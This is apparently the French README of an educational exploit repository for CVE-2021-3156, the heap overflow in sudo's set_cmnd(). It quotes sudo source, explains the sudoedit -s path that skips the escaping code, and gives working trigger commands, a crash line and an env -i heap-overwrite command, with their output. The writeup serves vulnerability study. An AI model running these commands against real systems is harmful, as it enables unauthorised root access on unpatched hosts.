
Implémentation éducative d'exploit et analyse de CVE-2021-3156, un débordement de tampon basé sur le tas dans la fonction set_cmnd() de sudo, permettant une élévation de privilèges vers root via des arguments de ligne de commande conçus.
Dans ce document, nous incluons toutes les connaissances nécessaires pour comprendre le code dans ce dépôt et pourquoi il fonctionne. Toute l'explication est basée sur le rapport créé par QUALYS. D'autres formes d'exploitation y sont expliquées.
Les versions vulnérables de sudo sont les versions héritées de 1.8.2 à 1.8.31p2 et toutes les versions stables de 1.9.0 à 1.9.5p1, dans leur configuration par défaut.
Ce dépôt est testé sur Ubuntu 20.04 (sudo 1.8.31). Dans celui-ci, nous ouvrons un terminal avec les privilèges root.
Si Sudo est exécuté pour lancer une commande en mode shell :
-s, qui positionne le drapeau MODE_SHELL de sudo.-i, qui positionne les drapeaux MODE_SHELL et MODE_LOGIN_SHELL de sudo.Ensuite, au début de main() de sudo, parse_args() réécrit argv, en concaténant tous les arguments de la ligne de commande et en échappant tous les méta-caractères avec des antislashs.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Plus tard, dans sudoers_policy_main(), set_cmnd() concatène les arguments de la ligne de commande dans un tampon basé sur le tas user_args et déséchappe les méta-caractères, "à des fins de correspondance et de journalisation sudoers" :
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
Si un argument de ligne de commande se termine par un seul antislash, alors :
from[0] est le caractère antislash et from[1] le terminateur nulfrom est incrémenté et pointe vers le terminateur nuluser_args et from est à nouveau incrémenté et pointe hors limitesuser_args.En d'autres termes, set_cmnd() est vulnérable à un débordement de tampon basé sur le tas, car les caractères hors limites qui sont copiés dans le tampon user_args n'ont pas été inclus dans sa taille.
En théorie, cependant, aucun argument de ligne de commande ne peut se terminer par un seul antislash : si MODE_SHELL ou MODE_LOGIN_SHELL est positionné (une condition nécessaire pour atteindre le code vulnérable), alors MODE_SHELL est positionné et parse_args() a déjà échappé tous les méta-caractères, y compris les antislashs (c'est-à-dire qu'il a échappé chaque antislash avec un second antislash).
En pratique, cependant, le code vulnérable dans set_cmnd() et le code d'échappement dans parse_args() sont entourés de conditions légèrement différentes :
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus :
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
Notre question, alors, est : pouvons-nous positionner MODE_SHELL et soit MODE_EDIT ou MODE_CHECK (pour atteindre le code vulnérable) mais pas le MODE_RUN par défaut (pour éviter le code d'échappement) ?
La réponse, semble-t-il, est non : si nous positionnons MODE_EDIT (option -e) ou MODE_CHECK (option -l), alors parse_args() supprime MODE_SHELL de valid_flags et se termine avec une erreur si nous spécifions un drapeau invalide tel que MODE_SHELL) :
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
Mais nous avons trouvé une faille : si nous exécutons Sudo en tant que sudoedit au lieu de sudo, alors parse_args() positionne automatiquement MODE_EDIT mais ne réinitialise pas valid_flags, et valid_flags inclut MODE_SHELL par défaut :
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Par conséquent, si nous exécutons "sudoedit -s", nous positionnons à la fois MODE_EDIT et MODE_SHELL (mais pas MODE_RUN), nous évitons le code d'échappement, atteignons le code vulnérable et débordons le tampon basé sur le tas user_args via un argument de ligne de commande qui se termine par un seul antislash :
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Du point de vue d'un attaquant, ce débordement de tampon est idéal :
user_args que nous débordons (la taille de nos arguments de ligne de commande concaténés) ;user_args).Par exemple, sur un Linux amd64, la commande suivante alloue un tampon user_args de 24 octets (un bloc de tas de 32 octets) et écrase le champ size du bloc suivant avec "A=a\0B=b\0" (0x00623d4200613d41), son champ fd avec "C=c\0D=d\0" (0x00643d4400633d43), et son champ bk avec "E=e\0F=f\0" (0x00663d4600653d45) :
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.